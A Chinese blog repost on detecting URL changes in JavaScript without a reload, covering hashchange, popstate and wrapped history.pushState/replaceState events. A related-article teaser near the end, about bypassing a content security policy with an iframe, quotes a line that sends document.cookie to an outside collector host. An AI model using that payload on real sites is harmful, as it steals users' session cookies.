js 无刷新监听URL的变化

摘要:
window.onhashchange=函数{console.log;}//或窗口。addEventListener监听back/forward/go。如果这是历史。back(),历史记录。forward(),历史记录。go(),popstate事件窗口。将触发addEventListener。然而,历史。pushState()和history ReplaceState()不会触发popstate事件,因此您需要手动添加事件侦听器pushState/replaceStatehistory ReplaceState和pushState不会触发popstate事件,因此如何监视这两种行为。您可以在方法中主动触发弹出事件。另一个是在方法中创建一个新的全局事件。

无刷新改变路由的两种方法


  • 通过hash改变路由

代码:

window.location.hash='edit'

效果:

http://xxxx/#edit
  • 通过history改变路由
history.back(): 返回浏览器会话历史中的上一页,跟浏览器的回退按钮功能相同
history.forward():指向浏览器会话历史中的下一页,跟浏览器的前进按钮相同

history.go(): 可以跳转到浏览器会话历史中的指定的某一个记录页

history.pushState()可以将给定的数据压入到浏览器会话历史栈中,该方法接收3个参数,对象,title和一串url。pushState后会改变当前页面url

history.replaceState()将当前的会话页面的url替换成指定的数据,replaceState后也会改变当前页面的url

  

监听url变化


  • 监听hash变化

通过hash改变了url,会触发hashchange事件,只要监听hashchange事件,就能捕获到通过hash改变url的行为。

window.onhashchange=function(event){
  console.log(event);
}
//或者
window.addEventListener('hashchange',function(event){
   console.log(event);
})
  • 监听back/forward/go

如果是history.back(),history.forward()、history.go()那么会触发popstate事件

window.addEventListener('popstate', function(event) {
     console.log(event);
})

但是,history.pushState()和history.replaceState()不会触发popstate事件,所以需要自己手动增加事件

  • 监听pushState/replaceState

history.replaceState和pushState不会触发popstate事件,那么如何监听这两个行为呢。可以通过在方法里面主动的去触发popstate事件。另一种就是在方法中创建一个新的全局事件。

  • 改造
const _historyWrap = function(type) {
  const orig = history[type];
  const e = new Event(type);
  return function() {
    const rv = orig.apply(this, arguments);
    e.arguments = arguments;
    window.dispatchEvent(e);
    return rv;
  };
};
history.pushState = _historyWrap('pushState');
history.replaceState = _historyWrap('replaceState');

  

  • 监听
window.addEventListener('pushState', function(e) {
  console.log('change pushState');
});
window.addEventListener('replaceState', function(e) {
  console.log('change replaceState');
});

  

转自:https://segmentfault.com/a/1190000022822185

免责声明:文章转载自《js 无刷新监听URL的变化》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Java两种延时——thread和timerSonar系列:SonarQube+SonarScanner 最全安装步骤(一)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

全面理解js面向对象

前言 当今 JavaScript 大行其道,各种应用对其依赖日深。web 程序员已逐渐习惯使用各种优秀的 JavaScript 框架快速开发 Web 应用,从而忽略了对原生 JavaScript 的学习和深入理解。所以,经常出现的情况是,很多做了多年 JS 开发的程序员对闭包、函数式编程、原型总是说不清道不明,即使使用了框架,其代码组织也非常糟糕。这都是对...

Android应用自动更新功能的代码实现

由于Android项目开源所致,市面上出现了N多安卓软件市场。为了让我们开发的软件有更多的用户使用,我们需要向N多市场发布,软件升级后,我们也必须到安卓市场上进行更新,给我们增加了工作量。因此我们有必要给我们的Android应用增加自动更新的功能。 既然实现自动更新,我们首先必须让我们的应用知道是否存在新版本的软件,因此我们可以在自己的网站上放置配置文件...

requests.exceptions.SSLError: HTTPSConnectionPool(host='cn.bing.com', port=443)报错解决方案

一、问题描述 运行以下代码 #!/usr/local/bin/python3.7 import requests import ssl # 请求url url = 'https://cn.bing.com/tlookupv3?isVertical=1&&IG=1E1AE90B09BB41E28506E0ADC9E45704&II...

js的动态加载、缓存、更新以及复用

使用范围:   OA、MIS、ERP等信息管理类的项目,暂时不考虑网站。 遇到的问题:   完成一个项目,往往需要引用很多js文件,比如jQuery.js、easyUI等。还有自己写的一些列js文件,那么这些文件如何方便的加载,如果文件有变化如何才能让客户端及时更新缓存?如果能够提高点运行效率,那就更好了。 目标: 1、  可以方便的引用js文件。 2、 ...

JS实现整个DIV里的字号整体放大或缩小

JS实现对DIV里内容的字体方法或缩小 html代码 只写主要代码,样式可以自己写 <div class="content_sms"> 这是需要放大或缩小的内容 </div> <!--放大缩小按钮--> <div id= "bigFontSize">放大 </div> <div id...

通过iframe标签绕过csp

iframe.php代码如下: allow-popups开启时,window.open就可以打开新的窗口。 看csp规则,默认是在当前域内,如果这是一个ctf题的话,就很简单了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。 但是要是远程加载js文件是不...